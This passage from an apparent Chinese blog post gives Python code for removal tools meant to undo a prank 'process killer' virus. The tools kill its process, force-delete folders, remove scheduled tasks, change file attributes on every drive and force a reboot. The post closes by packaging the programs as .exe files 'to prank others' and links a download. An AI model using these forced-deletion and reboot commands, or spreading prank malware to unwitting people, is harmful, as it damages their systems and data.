print('【提示】:由于系统文件的不确定性,本程序仅恢复了常见的系统文件,约占比90%')
print(' 如果还有系统文件没有隐藏,请在本次运行完成后,重新打开此程序')
print(' 在“[请确认是否执行]”界面输入“隐藏修复”进入专修模式')
print('')
print('【注意】:【不能】不能在"查看"中直接隐藏!两者性质不一样!不要嫌麻烦!')
print('')
wait=input('确认后,按回车继续修复...')
print('')
print('【操作7/8】生成日志')
print('')
import datetime
year=(str(datetime.datetime.now().year))
mounth=(str(datetime.datetime.now().month))
date=(str(datetime.datetime.now().day))
hour=(str(datetime.datetime.now().hour))
minute=(str(datetime.datetime.now().minute))
second=(str(datetime.datetime.now().second))
timenow=(year+'年'+mounth+'月'+date+'日-'+hour+'时'+minute+'分'+second+'秒')
try:
os.mkdir(r'D:\你的中毒恢复日志')
except:
time.sleep(0)
with open('D:\你的中毒恢复日志\中毒恢复日志.txt','a') as file:
file.write("【进程杀手已被清除!】")
file.write("\n")
file.write("【电脑功能已经恢复!】")
file.write("\n")
file.write("\n")
file.write("时间:"+timenow)
file.write("\n")
file.write("\n")
file.write("恭喜你,看到此日志说明病毒解除成功!")
file.write("\n")
file.write("\n")
file.write("操作:")
file.write("1:结束进程-结束正在运行的病毒,使其暂时失效")
file.write("\n")
file.write("2:删除文件-破坏病毒的源文件,防止你手贱")
file.write("\n")
file.write("3:删除开机自启动-清除指令,关闭病毒开机启动功能")
file.write("\n")
file.write("4:删除定时自启动-清除指令,关闭病毒定时启动功能")
file.write("\n")
file.write("5:恢复被隐藏的文件-恢复系统正常使用")
file.write("\n")
file.write("6:恢复被显示的系统文件-保护系统文件不被破坏")
file.write("\n")
file.write("7:生成日志-记录你的怨种过程")
file.write("\n")
file.write("8:重启电脑-彻底清除病毒")
file.write("\n")
file.write("\n")
file.write("如看到此日志但问题还没有解决,请联系开发者!")
file.write("\n")
file.write("开发者:豆豆zzydd")
file.write("\n")
file.write("地址:无人机228")
file.write("\n")
file.write("QQ联系方式:1918735084")
file.write("\n")
file.write("\n")
file.write("【这份日志请务必保存好!】")
file.write("\n")
file.write("日志,记录霉好回忆!")
file.write("\n")
print('')
print('【操作8/8】重启电脑')
print('')
print('所有操作均已完成!')
print('系统将在10秒后自动重启!')
print('')
time.sleep(1)
os.system('shutdown /r /t 10 /f /c 进程杀手开发者解除程序:【操作8】:10秒后重启电脑')
elif choice=='隐藏修复':
i=0
while i==i:
print('')
print('【进程杀手开发者解除程序】')
print('')
print('')
print('【隐藏专修】')
print('')
print('')
path=input('输入文件所在的盘符(要带英文冒号)或者路径:')
file=input('输入要修复(隐藏)的(系统)文件或者文件夹名:')
print('')
os.system('attrib +s +h '+path+'\\'+file)
print('')
print('【完成】')
print('【按回车继续修复】【输入“E”退出】')
print('')
choice2=input('选择:')
if choice2=='E' or choice2=='e':
break
else:
os.system('cls')
print('')
print('【继续修复】')
time.sleep(0.5)
os.system('cls')
os.system('cls')
print('')
print('【运行完成】')
wait=input('【回车退出】')
time.sleep(0.5)
#核心代码结束
else:
os.system('cls')
time.sleep(0.5)
print('')
print('【无法识别的回答】')
print('')
print('解除失败:无法识别的回答')
print('')
check=input('【退出】')
elif check=='N' or check=='n':
os.system('cls')
time.sleep(0.5)
print('')
print('【进程杀手开发者解除程序】')
print('')
print('')
print('【无法运行】')
print('')
print('需同意上述许可方可使用本程序!')
print('')
print('')
wait=input('【退出】')
else:
time.sleep(1)
os.system('exit')
else:
if sys.version_info[0] == 3:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
else:#用于python2的语句
ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(sys.executable), unicode(__file__), None, 1)
强制破解工具
最后,还有一个强制破解工具,相比开发者破解工具,它只保留了核心功能(删文件、删启动项、恢复隐藏的文件)。不过,这个工具打开了会直接运行,没有前缀,用于一些特殊情况(什么特殊情况我也不知道)。
其代码如下
#强制破解工具
#程序主体
#---------
from __future__ import print_function
import ctypes, sys
import time
import os
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
#破解主代码
import os
import time
import shutil
#核心主体
print('')
print('【操作1】结束进程')
print('')
os.system('taskkill /f /im SystemMain.exe')
print('')
print('【操作2】删除文件')
print('')
try:
shutil.rmtree('D:/SystemMain')
except:
time.sleep(0)
try:
shutil.rmtree('C:/Windows/SystemMain')
except:
try:
os.system('rmdir /s /q c:\\Windows\SystemMain')
except:
time.sleep(0)
try:
shutil.rmtree('C:/System')
except:
try:
os.system('rmdir /s /q c:\\System')
except:
time.sleep(0)
print('')
print('【操作3】删除开机自启动')
print('')
os.system('schtasks /delete /tn SystemMain /f')
print('')
print('【操作4】删除定时自启动')
print('')
os.system('schtasks /delete /tn SysMain /f')
print('')
print('【操作5】恢复被隐藏的文件')
print('')
list=['D','E','F','G','H','I','J','K','C','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
for letter in list: #遍历磁盘
try:
for filename in os.listdir(letter+':\\'): #遍历目录
os.system('attrib -s -h '+letter+':\\'+filename) #显示文件
except:
time.sleep(0)
print('')
print('【操作6】重启')
os.system('shutdown /r /t 5 /f /c 操作完成,即将重启!')
else:
if sys.version_info[0] == 3:
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
else:#用于python2的语句
ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(sys.executable), unicode(__file__), None, 1)
打包好后的成品
OK,所有代码均展示完毕!但要整蛊他人,不肯能让人家老老实实配置开发环境,所以,我们要对程序打包成.exe通用格式。打包我是安装了pyinstaller,然后在cmd里用了 ”pyinstaller -F “ 命令,这里我就简略跳过(我不知道怎么说),总之,成品链接放在下面,可以自行下载!(百度网盘的,不用会员)
警告:请勿用于非法用途,如违规使用,程序作者不负任何责任!
成品链接:https://pan.baidu.com/s/1U47AgEVlrkejnpqhSm-rXA?pwd=9966
提取码:9966
警告:请勿用于非法用途,如违规使用,程序作者不负任何责任!